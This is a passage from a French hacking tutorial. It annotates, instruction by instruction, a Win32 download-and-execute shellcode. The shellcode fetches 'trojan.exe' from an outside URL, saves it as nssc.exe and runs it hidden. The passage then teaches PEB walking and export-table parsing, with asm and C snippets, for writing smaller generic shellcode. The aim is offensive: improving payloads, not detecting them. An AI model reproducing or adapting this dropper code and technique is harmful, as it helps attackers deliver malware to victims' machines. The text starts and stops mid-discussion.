pour un shellcode sensé marcher sur toutes les plateformes, je ne trouve pas sa très fameux.

On remarque une fois de plus que l'auteur d'un shellcode win32 c'est gardé de divulger
son code source avec ses commentaires.

nous allons donc nous en occuper à sa place...

E:/code/SP>raise
Module Load: E:/CODE/SP/raise2.exe  (symbol loading deferred)
Thread Create:  Process=0, Thread=0
Module Load: C:/WINNT/SYSTEM32/ntdll.dll  (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/kernel32.dll  (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/ntdll.dll  (could not open symbol file)
Module Load: E:/CODE/SP/raise2.exe  (no symbols loaded)
Thread Create:  Process=0, Thread=1
Hard coded breakpoint hit
>
0012FC6C CC               int         3
0012FC6D EB30             jmp         0012FC9F	// far jump end_of_code
0012FC6F 5F               pop         edi	// edi = (char *) API_TABLE

/******************************************************************
>dd edi
0x0012FE89  4d746547 6c75646f 6e614865 41656c64 GetModuleHandleA
0x0012FE99  72656b08 336c656e 6c642e32 6547086c .kernel32.dll.Ge
0x0012FEA9  6f725074 64644163 73736572 616f4c08 tProcAddress.Loa
0x0012FEB9  62694c64 79726172 6c5f0841 61657263 dLibraryA._lcrea
0x0012FEC9  6c5f0874 74697277 6c470865 6c61626f t._lwrite.Global
0x0012FED9  6f6c6c41 6c5f0863 736f6c63 69570865 Alloc._lclose.Wi
0x0012FEE9  6578456e 78450863 72507469 7365636f nExec.ExitProces
0x0012FEF9  69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In
0x0012FEF9  69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In
0x0012FF09  6e726574 704f7465 08416e65 65746e49 ternetOpenA.Inte
0x0012FF19  74656e72 6e65704f 416c7255 746e4908 rnetOpenUrlA.Int
0x0012FF29  656e7265 61655274 6c694664 6e490865 ernetReadFile.In
0x0012FF39  6e726574 6c437465 4865736f 6c646e61 ternetCloseHandl
0x0012FF49  534e0865 73736e08 78652e63 74680865 e.NS.nssc.exe.ht
0x0012FF59  2f3a7074 7777772f 6568632e 6f632e7a tp://www.chez.co
0x0012FF69  766d2f6d 72742f6d 6e616a6f 6578652e m/mvm/trojan.exe
0x0012FF79  6c000108 c00012fc e30012ff 01004010 ...l.........@..
*******************************************************************/


/*
* cette partie ce charge de formater l'API_TABLE en placant les caractères 
de terminaison
* /

0012FC70 FC               cld
0012FC71 8BF7             mov         esi,edi
0012FC73 803F08           cmp         byte ptr [edi],8	// 08h = caractere de separation choisi
							// pour eviter les null bytes

0012FC76 7503             jne         0012FC7B		// si edi = caractere de terminaison
0012FC78 803708           xor         byte ptr [edi],8	// le changer en 0x00

0012FC7B 47               inc         edi		// incremente edi

0012FC7C 803F01           cmp         byte ptr [edi],1	// 01h = caractere de fin de l'API_TABLE
0012FC7F 75F2             jne         0012FC73		// loop until edi != 0x01

/* end of function */


0012FC81 8BE6             mov         esp,esi	// remet le stack au haut de l'API_TABLE

0012FC83 33D2             xor         edx,edx	// technique anti null bytes
0012FC85 B204             mov         dl,4	// permettant de faire un
0012FC87 C1E208           shl         edx,8	//
0012FC8A 2BE2             sub         esp,edx 	// sub esp, 400

0012FC8C 8BEC             mov         ebp,esp	// met le pointeur de base a niveau

0012FC8E 33D2             xor         edx,edx	// encore
0012FC90 B203             mov         dl,3	// une technique anti null bytes
0012FC92 C1E208           shl         edx,8	// permettant de faire un
0012FC95 2BE2             sub         esp,edx	// sub esp, 300

0012FC97 54               push        esp
0012FC98 5A               pop         edx
0012FC99 B27C             mov         dl,7Ch
0012FC9B 8BE2             mov         esp,edx	// en bref : sub esp, 0x0D

0012FC9D EB02             jmp         0012FCA1	// bypass 1er palier du far jump
0012FC9F EB57             jmp         0012FCF8	// (far jump end_of_code)
						// premier palier anti null bytes

0012FCA1 8975FC           mov         dword ptr [ebp-4],esi // place (char *)GetModuleHandleA
							    // sur le stack

0012FCA4 33C0             xor         eax,eax	// technique anti null bytes
0012FCA6 B440             mov         ah,40h	// permettant de faire un
0012FCA8 C1E008           shl         eax,8	//
0012FCAB 8945F8           mov         dword ptr [ebp-8],eax // mov dword ptr [ebp-8], 0x400000


0012FCAE 8B403C           mov         eax,dword ptr [eax+3Ch] // eax = IMAGE_DOS_HEADER->e_lfanew
0012FCB1 0345F8           add         eax,dword ptr [ebp-8]   // eax = PIMAGE_NT_HEADERS
0012FCB4 8D407E           lea         eax,[eax+7Eh]           // eax = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]->VirtualAddress
0012FCB7 8B4002           mov         eax,dword ptr [eax+2]   // eax = PIMAGE_IMPORT_DIRECTORY
0012FCBA 0345F8           add         eax,dword ptr [ebp-8]   // eax = base + impdir->AddressOfFunctions
0012FCBD 8BF8             mov         edi,eax

search :
0012FCBF 8B7F0C           mov         edi,dword ptr [edi+0Ch] // edi = RVA vers le nom du fichier
0012FCC2 037DF8           add         edi,dword ptr [ebp-8]   // = base + RVAFileName
/***************************
>dd edi
0x00404708  4e52454b 32334c45 6c6c642e 00000000 KERNEL32.dll....
****************************/
0012FCC5 813F4B45524E     cmp         dword ptr [edi],4E52454Bh
0012FCCB 7407             je          0012FCD4 // if (!strcmp (edi,KERNEL32.dll)) goto suite;

0012FCCD 83C014           add         eax,14h
0012FCD0 8BF8             mov         edi,eax
0012FCD2 EBEB             jmp         0012FCBF // loop until *edi = KERNEL32

suite:
0012FCD4 50               push        eax	// push impdir->AdressOfFunction
0012FCD5 8BF8             mov         edi,eax
0012FCD7 33C9             xor         ecx,ecx   // initialisation a 0
0012FCD9 33C0             xor         eax,eax   // initialisation a 0
0012FCDB B110             mov         cl,10h    // rechercher sur les 16 première RVA
0012FCDD 8B17             mov         edx,dword ptr [edi]   // edx = RVA
0012FCDF 0355F8           add         edx,dword ptr [ebp-8] // edx = base+RVA
0012FCE2 52               push        edx      // sauve l'adresse
0012FCE3 EB03             jmp         0012FCE8 // jmp FindFirst

FindNext :
0012FCE5 57               push        edi	// sauvegarde edi
0012FCE6 8BD7             mov         edx,edi

FindFirst :
0012FCE8 807A0380         cmp         byte ptr [edx+3],80h
0012FCEC 7416             je          0012FD04

0012FCEE 8B32             mov         esi,dword ptr [edx]
0012FCF0 0375F8           add         esi,dword ptr [ebp-8]
0012FCF3 83C602           add         esi,2     // esi = (char *) API_NAME

0012FCF6 EB02             jmp         0012FCFA	// bypass 2eme palier far jump
0012FCF8 EB7E             jmp         0012FD78  // (far jump end_of_code)
						// deuxieme palier anti null bytes

0012FCFA 8B7DFC           mov         edi,dword ptr [ebp-4] // EDI = GetModuleHandleA
0012FCFD 51               push        ecx	// ecx = 0x10
0012FCFE F3A6             repe cmps   byte ptr [esi],byte ptr [edi] //a = memcmp (edi,API_NAME,0x10)
0012FD00 59               pop         ecx       // restore ecx
0012FD01 5F               pop         edi       // restore edi
0012FD02 7406             je          0012FD0A  // if !a goto next1
0012FD04 40               inc         eax
0012FD05 83C704           add         edi,4	// avance le pointeur
0012FD08 EBDB             jmp         0012FCE5  // FindNext

/ * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * -

Une fois arrivé à ce point,  nous découvrons pourquoi le shellcode a provoqué un crash
lors de notre premier essai.

Comme vous pouvez le constater, une recherche de l'adresse de GetModuleHandleA() est effectuée
à travers l'Importe Table du processus en cours.

Le problème et que l'exe que nous venons de compiler n'utilise pas cette API, ce qui
va entrainer une comparaison mémoire placée en dehors de l'espace d'adressage de
notre processus, et ainsi provoquer une erreur de violation d'accès au niveau de la
lecture d'une zone interdite.

La solution permettant de palier au problème et de continuer l'analyse est donc :

====================================== raise.c ==============================================
#include 
void main () {
char scode[] = "..." // le shellcode
void (*shellcode) () = (void * ) scode;
GetModuleHandle ("KERNEL32");	// Utilisation de GetModuleHandle()
shellcode ();
}
======================================== EOF ==================================================

ok, c'est repartie.

* - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - /

next1 :
0012FD0A 5F               pop         edi	// restore edi
0012FD0B 8B7F10           mov         edi,dword ptr [edi+10h]
0012FD0E 037DF8           add         edi,dword ptr [ebp-8]
0012FD11 C1E002           shl         eax,2
0012FD14 03F8             add         edi,eax
0012FD16 8B07             mov         eax,dword ptr [edi]   // eax = &GetModuleHandle()
0012FD18 8B5DFC           mov         ebx,dword ptr [ebp-4] // ebx = *API_TABLE
0012FD1B 8D5B11           lea         ebx,[ebx+11h]	    // ebx = LPTSTR "Kernel32.dll"
0012FD1E 53               push        ebx
0012FD1F FFD0             call        eax	// GetModuleHandle ("KERNEL32.DLL");

0012FD21 8945F4           mov         dword ptr [ebp-0Ch],eax // sauvegarde Kernel32.ImageBase
0012FD24 8B403C           mov         eax,dword ptr [eax+3Ch] // eax = IMAGE_DOS_HEADER->e_lfanew
0012FD27 0345F4           add         eax,dword ptr [ebp-0Ch] // eax = PIMAGE_NT_HEADERS
0012FD2A 8B7078           mov         esi,dword ptr [eax+78h] // esi = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
0012FD2D 0375F4           add         esi,dword ptr [ebp-0Ch] // esi = PIMAGE_EXPORT_DIRECTORY
0012FD30 8D761C           lea         esi,[esi+1Ch]           // esi = base + expdir->AddressOfFunctions
0012FD33 AD               lods        dword ptr [esi]
0012FD34 0345F4           add         eax,dword ptr [ebp-0Ch]
0012FD37 8945F0           mov         dword ptr [ebp-10h],eax
0012FD3A AD               lods        dword ptr [esi]
0012FD3B 0345F4           add         eax,dword ptr [ebp-0Ch]
0012FD3E 8945EC           mov         dword ptr [ebp-14h],eax
0012FD41 AD               lods        dword ptr [esi]
0012FD42 0345F4           add         eax,dword ptr [ebp-0Ch]
0012FD45 8945E8           mov         dword ptr [ebp-18h],eax
0012FD48 8B55EC           mov         edx,dword ptr [ebp-14h] // edx = base + expdir->AddressOfNames
0012FD4B 8B75FC           mov         esi,dword ptr [ebp-4]
0012FD4E 8D761E           lea         esi,[esi+1Eh]	      // esi = LPTSTR "GetProcAddress"
0012FD51 33DB             xor         ebx,ebx		      // indice = 0;
0012FD53 33C9             xor         ecx,ecx
0012FD55 B10F             mov         cl,0Fh		      // strlen ("GetProcAddress")

Loop :
0012FD57 8B3A             mov         edi,dword ptr [edx]     // edi = base + expdir->AddressOfNames
0012FD59 037DF4           add         edi,dword ptr [ebp-0Ch] // edi = *NameOfFunction
0012FD5C 56               push        esi
0012FD5D 51               push        ecx
0012FD5E F3A6             repe cmps   byte ptr [esi],byte ptr [edi] // strcmp (edi,"GetProcAddess");
0012FD60 59               pop         ecx
0012FD61 5E               pop         esi
0012FD62 7406             je          0012FD6A    // jmp if Api_Name_Found
0012FD64 43               inc         ebx	  // indice++
0012FD65 8D5204           lea         edx,[edx+4] // Passe au nom suivant
0012FD68 EBED             jmp         0012FD57    // Loop until 
Api_Name_Found

Api_Name_Found :
0012FD6A D1E3             shl         ebx,1
0012FD6C 8B75E8           mov         esi,dword ptr [ebp-18h]
0012FD6F 03F3             add         esi,ebx
0012FD71 33C9             xor         ecx,ecx
0012FD73 668B0E           mov         cx,word ptr [esi]	// ecx = ordinal
0012FD76 EB02             jmp         0012FD7A	// bypass 3eme palier far jump
0012FD78 EB7D             jmp         0012FDF7	// (far jump end_of_code)
						// troisieme palier anti null bytes

0012FD7A C1E102           shl         ecx,2
0012FD7D 034DF0           add         ecx,dword ptr [ebp-10h]
0012FD80 8B09             mov         ecx,dword ptr [ecx]
0012FD82 034DF4           add         ecx,dword ptr [ebp-0Ch]
0012FD85 894DE4           mov         dword ptr [ebp-1Ch],ecx
0012FD88 8B5DFC           mov         ebx,dword ptr [ebp-4]
0012FD8B 8D5B2D           lea         ebx,[ebx+2Dh] // ebx = LPTSTR 
LoadLibraryA
0012FD8E 33C9             xor         ecx,ecx
0012FD90 B107             mov         cl,7	    // 7 noms d'API à retrouver 
leur adresses
0012FD92 8D7DE0           lea         edi,[ebp-20h]

Make_kernel32_API_jmp_TABLE :
=-=-=-=-=-=-=-=-=-=-=-=
0012FD95 53               push        ebx
0012FD96 51               push        ecx
0012FD97 53               push        ebx  //  LPCSTR  lpProcName = ptr
0012FD98 8B55F4           mov         edx,dword ptr [ebp-0Ch] // edx = kernel32.imagebase
0012FD9B 52               push        edx // HMODULE  hModule = kernel32
0012FD9C 8B45E4           mov         eax,dword ptr [ebp-1Ch]
0012FD9F FC               cld
0012FDA0 FFD0             call        eax // GetProcAddress ((HMODULE)Kernel32,ptr)

0012FDA2 59               pop         ecx
0012FDA3 5B               pop         ebx
0012FDA4 FD               std
0012FDA5 AB               stos        dword ptr [edi] // place LPTSTE ptr dans la jmp table
0012FDA6 8D6424F8         lea         esp,[esp-8]


loop2 : // avance le poiteur sur le prochain nom d'API a chercher
0012FDAA 382B             cmp         byte ptr [ebx],ch // verifie la presence d'un 00
0012FDAC 7403             je          0012FDB1 		// if ptr[0] == '/0' goto next
0012FDAE 43               inc         ebx		// else ebx++
0012FDAF EBF9             jmp         0012FDAA          // loop2

next :
0012FDB1 43               inc         ebx		// ptr++
0012FDB2 E2E1             loop        0012FD95		// while (ecx) goto Make_kernel32_API_jmp_TABLE
=-=-=-=-=-=-=-=-=-=-=-=

Make_wininet_API_jmp_TABLE :
=-=-=-=-=-=-=-=-=-=-=-=
0012FDB4 8B45E0           mov         eax,dword ptr [ebp-20h] // eax = & LoadLibraryA()
0012FDB7 53               push        ebx		      // ebx = LPTSTR "wininet.dll"
0012FDB8 FC               cld
0012FDB9 FFD0             call        eax // LoadLibraryA ("wininet.dll")
0012FDBB FD               std
0012FDBC AB               stos        dword ptr [edi] // sauve (HMODULE) "wininet.dll"
0012FDBD 33C9             xor         ecx,ecx
0012FDBF B104             mov         cl,4	      // 4 nom d'API a rechercher
0012FDC1 8D5B0C           lea         ebx,[ebx+0Ch]   // ebx = APINAME
0012FDC4 FC               cld
0012FDC5 53               push        ebx
0012FDC6 51               push        ecx
0012FDC7 53               push        ebx
0012FDC8 8B55C4           mov         edx,dword ptr [ebp-3Ch] // edx = wininet.imagebase
0012FDCB 52               push        edx
0012FDCC 8B45E4           mov         eax,dword ptr [ebp-1Ch] // eax = & GetProcAddress()
0012FDCF FFD0             call        eax // GetProcAddress (wininet,APINAME);
0012FDD1 59               pop         ecx
0012FDD2 5B               pop         ebx
0012FDD3 FD               std
0012FDD4 AB               stos        dword ptr [edi]   // sauve l'adresse de l'API

loop3 : // avance le poiteur sur le prochain nom d'API a chercher
0012FDD5 382B             cmp         byte ptr [ebx],ch // verifie la presence d'un 00
0012FDD7 7403             je          0012FDDC		// if ptr[0] == '/0' goto next3
0012FDD9 43               inc         ebx		// else ebx++
0012FDDA EBF9             jmp         0012FDD5		// loop3

next3 :
0012FDDC 43               inc         ebx		// ptr++
0012FDDD E2E5             loop        0012FDC4		// while (ecx) goto Make_wininet_API_jmp_TABLE
=-=-=-=-=-=-=-=-=-=-=-=

0012FDDF FC               cld
0012FDE0 33D2             xor         edx,edx
0012FDE2 B61F             mov         dh,1Fh		// technique anti null bytes
0012FDE4 C1E208           shl         edx,8		// mov edx,001f0000h
0012FDE7 52               push        edx
0012FDE8 33D2             xor         edx,edx
0012FDEA 52               push        edx		// push 0
0012FDEB 8B45D4           mov         eax,dword ptr [ebp-2Ch]
0012FDEE FFD0             call        eax		// GlobalAlloc (NULL, 0x1f0000)

0012FDF0 8945B0           mov         dword ptr [ebp-50h],eax // sauvegarde le pointeur
0012FDF3 33D2             xor         edx,edx		      // reinitialise edx à 0

0012FDF5 EB02             jmp         0012FDF9	// bypass 4eme palier far jump
0012FDF7 EB77             jmp         0012FE70	// (far jump end_of_code)
						// quatrieme palier anti null bytes
0012FDF9 52               push        edx // 0
0012FDFA 52               push        edx // 0
0012FDFB 52               push        edx // 0
0012FDFC 52               push        edx // 0
0012FDFD 53               push        ebx
/*************************************
>dd ebx
0x0012FF4B  6e00534e 2e637373 00657865 70747468 NS.nssc.exe.http
0x0012FF5B  772f2f3a 632e7777 2e7a6568 2f6d6f63 ://www.chez.com/
0x0012FF6B  2f6d766d 6a6f7274 652e6e61 01006578 mvm/trojan.exe..
*************************************/
0012FDFE 8B45C0           mov         eax,dword ptr [ebp-40h]
0012FE01 FFD0             call        eax // Sess = InternetOpenA (NS,0,0,0,0)

0012FE03 8D5B03           lea         ebx,[ebx+3] ebx = LPTSTR "nssc.exe"
0012FE06 8945AC           mov         dword ptr [ebp-54h],eax // sauve le handle d'ouverture
0012FE09 33D2             xor         edx,edx
0012FE0B 52               push        edx     // DWORD dwContext = NULL
0012FE0C B680             mov         dh,80h  // technique anti null byte
0012FE0E C1E210           shl         edx,10h // mov edx, 80000000
0012FE11 52               push        edx     // DWORD dwFlags = INTERNET_FLAG_RELOAD
0012FE12 33D2             xor         edx,edx
0012FE14 52               push        edx     // DWORD dwHeadersLength = 0
0012FE15 52               push        edx     // LPCSTR lpszHeaders = NULL
0012FE16 8D7B09           lea         edi,[ebx+9]
0012FE19 57               push        edi     // LPCSTR lpszUrl = URL
0012FE1A 50               push        eax     // HINTERNET hInternetSession = Sess
0012FE1B 8B45BC           mov         eax,dword ptr [ebp-44h]

// session = InternetOpenUrlA (hInternetSession, &lpszUrl, NULL, INTERNET_FLAG_RELOAD,0)
0012FE1E FFD0             call        eax

0012FE20 8945A8           mov         dword ptr [ebp-58h],eax
0012FE23 8D55A0           lea         edx,[ebp-60h]
0012FE26 52               push        edx	// LPDWORD lpNumberOfBytesRead
0012FE27 33D2             xor         edx,edx
0012FE29 B61F             mov         dh,1Fh	// technique anti NB
0012FE2B C1E208           shl         edx,8	// edx = 1F0000
0012FE2E 52               push        edx	// DWORD dwNumberOfBytesToRead = 2031616
0012FE2F 8B4DB0           mov         ecx,dword ptr [ebp-50h]
0012FE32 51               push        ecx       // LPVOID lpBuffer
0012FE33 50               push        eax	// HINTERNET hFile = session
0012FE34 8B45B8           mov         eax,dword ptr [ebp-48h]

// InternetReadFile(session,lpBuffer,2031616,&lpNumberOfBytesRead)
0012FE37 FFD0             call        eax

0012FE39 8B4DA8           mov         ecx,dword ptr [ebp-58h]
0012FE3C 51               push        ecx
0012FE3D 8B45B4           mov         eax,dword ptr [ebp-4Ch]
0012FE40 FFD0             call        eax	// InternetCloseHandle (Sess)

0012FE42 8B4DAC           mov         ecx,dword ptr [ebp-54h]
0012FE45 51               push        ecx
0012FE46 8B45B4           mov         eax,dword ptr [ebp-4Ch]
0012FE49 FFD0             call        eax	// InternetCloseHandle (session)

0012FE4B 33D2             xor         edx,edx
0012FE4D 52               push        edx	// int  iAttribute = 0 (normal)
0012FE4E 53               push        ebx	// LPCSTR  lpPathName = "nssc.exe"
0012FE4F 8B45DC           mov         eax,dword ptr [ebp-24h]
0012FE52 FFD0             call        eax	// hfile = _lcreat ("nssc.exe",0)

0012FE54 8945A4           mov         dword ptr [ebp-5Ch],eax // sauve hfile
0012FE57 8B7DA0           mov         edi,dword ptr [ebp-60h]
0012FE5A 57               push        edi	// long  lBytes = lpNumberOfBytesRead
0012FE5B 8B55B0           mov         edx,dword ptr [ebp-50h]
0012FE5E 52               push        edx	// LPCSTR lpBuffer
0012FE5F 50               push        eax	// HFILE hFile = hfile
0012FE60 8B45D8           mov         eax,dword ptr [ebp-28h]
0012FE63 FFD0             call        eax	// _hwrite (hfile,lpBuffer,lpNumberOfBytesRead)

0012FE65 8B55A4           mov         edx,dword ptr [ebp-5Ch]
0012FE68 52               push        edx
0012FE69 8B45D0           mov         eax,dword ptr [ebp-30h]
0012FE6C FFD0             call        eax	// _lclose (hfile)

0012FE6E EB02             jmp         0012FE72	// bypass 5eme palier far jump
0012FE70 EB12             jmp         0012FE84	// (far jump end_of_code)
						// cinquieme palier anti null bytes
0012FE72 33D2             xor         edx,edx
0012FE74 90               nop
0012FE75 52               push        edx	// 0 = SW_HIDE
0012FE76 53               push        ebx	// LPCSTR  lpszCmdLine = "nssc.exe"
0012FE77 8B45CC           mov         eax,dword ptr [ebp-34h]
0012FE7A FFD0             call        eax	// WinExec ("nssc.exe",SW_HIDE)

0012FE7C 33D2             xor         edx,edx
0012FE7E 52               push        edx	// 0
0012FE7F 8B45C8           mov         eax,dword ptr [ebp-38h]
0012FE82 FFD0             call        eax	// ExitProcess (0)

end_of_code:
0012FE84 E8E6FDFFFF       call        0012FC6F  // ce call permet de pusher l'offset de fin de shellcode afin
						// de connaitre l'adresse ou son placer les chaines de caracteres.

++

Voila, maintenant que nous avons plus de détails, nous pouvons en faire quelques petits commentaires :

- Toute la base de ce shellcode générique est situé sur la présence de GetModuleHandle() dans
  l'IT du processus à exploiter, si cette API n'est pas utilisée, l'attaque se retrouve compromise.

- le stockage des noms d'API complet est toujours en vigueur, ce qui constitue le talon
  d'achille principale d'une optimisation de shellcode win32.

- deux fonctions sont utilisées pour créer les jump table, ce qui n'est pas très élégant

- Raise utilise la lib wininet pour aller downloader son trojan, il aurait peut etre été
  préférable d'utiliser urlmon

bref, ce shellcode est bien mieux fait que celui de zan, mais la taille est toujours un défaut majeur !
(800 Bytes nom dou diou !)




/*************************************************************************************
IV. NOTRE APPROCHE SUR LA QUESTION
*************************************************************************************/


///
4.A L'ABBOLITION DE L'ADRESSE DE BASE, GRACE AU 'PROCESS ENVIRONMENT BLOCK'
///


Comme vous avez put le voir, le problème majeur lorsque l'on crée un shellcode win32 est
d'arriver a retrouver les adresses de LoadLibraryA et GetProcAdress d'une façon optimisée,
élégante, et surtout générique.

Si vous avez déjà engagé quelques recherches personnelles sur le sujet, vous remarquerez
sans doute que la technique que nous allons évoquer a dejà été exposée dans quelques sites et
articles de très bon niveau, (cf: Last Stage Delirium) mais celle ci n'a jamais été clairement
exploitée / commentée ou demontrée.

ok, let's do it...

Quand le loader de windows charge un binaire en mémoire, celui ci conserve une trace
des librairies utilisées par le process dans une structure appelée le PEB dont voici
le prototype :

// Process Environment Block

typedef struct _PEB {

/*000*/ BOOLEAN              InheritedAddressSpace;
/*001*/ BOOLEAN              ReadImageFileExecOptions;
/*002*/ BOOLEAN              BeingDebugged;
/*003*/ BOOL                 SpareBool; // alloc size
/*004*/ HANDLE               Mutant;
/*008*/ PVOID                SectionBaseAddress;
/*00C*/ PPROCESS_MODULE_INFO ProcessModuleInfo;
/*010*/ PPROCESS_PARAMETERS  ProcessParameters;

/*...*/ .... plein d'autres truc ici .... :)

/*1E8*/ } PEB, *PPEB;


Cette structure est définie pour chaque processus a l'adresse 0x7FFDF000 mais peut être
retrouver dynamiquement en récuperant le pointeur situé a FS:[0x30]; celle ci contient des
informations sur l'environnement d'exécution en cours, ce qui dans notre cas s'avère très
intéressant, car la sous structure PROCESS_MODULE_INFO contient une liste de toutes les
librairies utilisées.

typedef struct _PROCESS_MODULE_INFO {
/*000*/ DWORD      Size;
/*004*/ DWORD      Initalized;
/*008*/ HANDLE     SsHandle;
/*00C*/ LIST_ENTRY ModuleListLoadOrder;
/*014*/ LIST_ENTRY ModuleListMemoryOrder;
/*018*/ LIST_ENTRY ModuleListInitOrder;
/*020*/ } PROCESS_MODULE_INFO, *PPROCESS_MODULE_INFO;


Une fois en possession de ces informations, le plan d'attaque devient facilement imaginable.

Il suffit de pointer sur le PEB et d'aller ensuite dans ProcessModuleInfo ou l'on
voit trois double liste chainées:

   * ModuleListLoadOrder
   * ModuleListMemoryOrder
   * ModuleListInitOrder

Ces listes chainées contiennent des éléments MODULE_ITEM dont le type est defini
ci dessous :

typedef struct _MODULE_ITEM {
/*000*/ LIST_ENTRY     ModuleListLoadOrder;
/*008*/ LIST_ENTRY     ModuleListMemoryOrder;
/*010*/ LIST_ENTRY     ModuleListInitOrder;
/*018*/ DWORD          ImageBase;
/*01C*/ DWORD          EntryPoint;
/*020*/ DWORD          ImageSize;
/*024*/ UNICODE_STRING PathFileName;
/*02C*/ UNICODE_STRING FileName;
/*034*/ ULONG          ModuleFlags;
/*038*/ WORD           LoadCount;
/*03A*/ WORD           Fill;
/*03C*/ DWORD          dw3c;
/*040*/ DWORD          dw40;
/*044*/ DWORD          TimeDateStamp;
/*048*/ } MODULE_ITEM, *PMODULE_ITEM;


et sont triés en fonction de l'ordre de chargement, de l'adresse mémoire et de
l'initialisation.

Donc pour lister les DLL utilisées par un processus, il suffit de lire
une de ces 3 listes chainées, sachant que si on lit ModuleListMemoryOrder ou
ModuleListInitOrder, il faut réajuster le pointeur vers le début de la structure.

du style :

* ModuleListLoadOrder:
for (Module = (PMODULE_ITEM) ModuleInfo->ModuleListLoadOrder.Flink;
     Module->ModuleListLoadOrder.Flink != &ModuleInfo->ModuleListLoadOrder;
     Module = (PMODULE_ITEM) Module->ModuleListLoadOrder.Flink)

* ModuleListMemoryOrder:
for (Module = (PMODULE_ITEM) 
(((DWORD)ModuleInfo->ModuleListMemoryOrder.Flink) - 0x8);
     Module->ModuleListMemoryOrder.Flink != 
&ModuleInfo->ModuleListMemoryOrder && Module->ModuleListMemoryOrder.Flink;
     Module = (PMODULE_ITEM) (((DWORD)Module->ModuleListMemoryOrder.Flink) - 
0x8))

* ModuleListMemoryOrder:
pareil que pour ModuleListMemoryOrder sauf que le -0x8 devient -0x10.


mais concrètement, comment sa ce passe ?

En premier lieu, il nous faut retrouver l'adresse du PEB, puis pointer sur ProcessModuleInfo.

---------------------- SNIP ------------------------

// DWORD                Peb;
   PPROCESS_MODULE_INFO ModuleInfo;
   PMODULE_ITEM         Module;

   _asm {
      mov eax, fs:[0x30]
//    mov [Peb], eax
      mov eax, [eax+0xC]
      mov [ModuleInfo], eax
   }

----------------------------------------------------


A partir de la, on doit récupérer l'addresse de base de kernel32.dll
ce qui donne :


---------------------------- SNIP --------------------------------------

DWORD ImageBase;

__asm {
	mov  eax, dword ptr [eax+0xC]   // eax = PEB->ProcessModuleInfo
	mov  ecx, dword ptr [eax+0xC]   // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder
	mov  eax, ecx                   // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink

search_dll_loop:
	mov  esi, dword ptr [eax+0x30]  // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0]
	cmp byte ptr [esi], 'K'
	jnz  search_dll_next            // if (edi != 'K') goto search_kernel32_next

	mov  [ImageBase], dword ptr [eax+0x18]  // MODULE_ITEM->FileName.ImageBase;
	jmp fin

// reajuste le pointeur au debut de la structure
search_dll_next:
	mov  eax, dword ptr [eax]     // eax = PMODULE_ITEM
	cmp  eax, ecx
	jnz  search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder)

fin :
}

printf ("Image base of Kernel32.dll : 0x%x/n",ImageBase);

--------------------------------------------------------------------------


maintenant, il nous faut celle de la fonction LoadLibrary() ou GetProcAddress(). Pour ca on va
tout simplement se balader dans le PE (Portable Executable) de kernel32.dll.


En pseudo code C, ca donne ca:

------------------------------------- SNIP ----------------------------------------------

DWORD GetAdd(DWORD base, char *function_name) {
	PIMAGE_DOS_HEADER       dos = (PIMAGE_DOS_HEADER) base;
	PIMAGE_NT_HEADERS       nt;
	PIMAGE_DATA_DIRECTORY   datadir;
	PIMAGE_EXPORT_DIRECTORY expdir;
	DWORD                   i;
	PDWORD                  functions, names;
	PWORD                   ordinals;
	char                    *curname;

	nt = (PIMAGE_NT_HEADERS) base + dos->e_lfanew;
	datadir   = nt->OptionalHeader.DataDirectory + 
IMAGE_DIRECTORY_ENTRY_EXPORT;
	expdir    = (PIMAGE_EXPORT_DIRECTORY) base + datadir->VirtualAddress;
	functions = (PDWORD) base + expdir->AddressOfFunctions;
	ordinals  = (PWORD) base + expdir->AddressOfNameOrdinals;
	names     = (PDWORD) base + expdir->AddressOfNames;

	for (i=0; iNumberOfNames; i++) {
	   if (!strcmp(function_name, (char *) names[i])
	      return(functions[ordinals[i]]);
	}
	return(NULL);
}

----------------------------------------------------------------------------------------------


voici en gros le principe de base.

voyons maintenant comment a partir de tout ca, mettre en place...



///
4.B) UNE RECONSTRUCTION DE LOADLIBRARYA / GETPROCADDRESS.
///

Pour arriver à un vrai resultat optimal, le fin du fin serais de trouver un moyen d'éviter
de créer une table de nom, comme dans cette exemple tiré du shellcode de RaiSe

0x0012FE89  4d746547 6c75646f 6e614865 41656c64 GetModuleHandleA
0x0012FE99  72656b08 336c656e 6c642e32 6547086c .kernel32.dll.Ge
0x0012FEA9  6f725074 64644163 73736572 616f4c08 tProcAddress.Loa
0x0012FEB9  62694c64 79726172 6c5f0841 61657263 dLibraryA._lcrea
0x0012FEC9  6c5f0874 74697277 6c470865 6c61626f t._lwrite.Global
0x0012FED9  6f6c6c41 6c5f0863 736f6c63 69570865 Alloc._lclose.Wi
0x0012FEE9  6578456e 78450863 72507469 7365636f nExec.ExitProces
0x0012FEF9  69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In
0x0012FEF9  69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In
0x0012FF09  6e726574 704f7465 08416e65 65746e49 ternetOpenA.Inte
0x0012FF19  74656e72 6e65704f 416c7255 746e4908 rnetOpenUrlA.Int
0x0012FF29  656e7265 61655274 6c694664 6e490865 ernetReadFile.In
0x0012FF39  6e726574 6c437465 4865736f 6c646e61 ternetCloseHandl
0x0012FF49  534e0865 73736e08 78652e63 74680865 e.NS.nssc.exe.ht
0x0012FF59  2f3a7074 7777772f 6568632e 6f632e7a tp://www.chez.co
0x0012FF69  766d2f6d 72742f6d 6e616a6f 6578652e m/mvm/trojan.exe
0x0012FF79  6c000108 c00012fc e30012ff 01004010 ...l.........@..


Ces chaines de caratères prennent une place énorme, mais sont nécessaires à LoadLibraryA
et GetProcAddress, qui rappellons le, sont les fonctions noyaux d'un shellcode win32.


Revoyons comment procède un programme pour exécuter une fonction exporter :

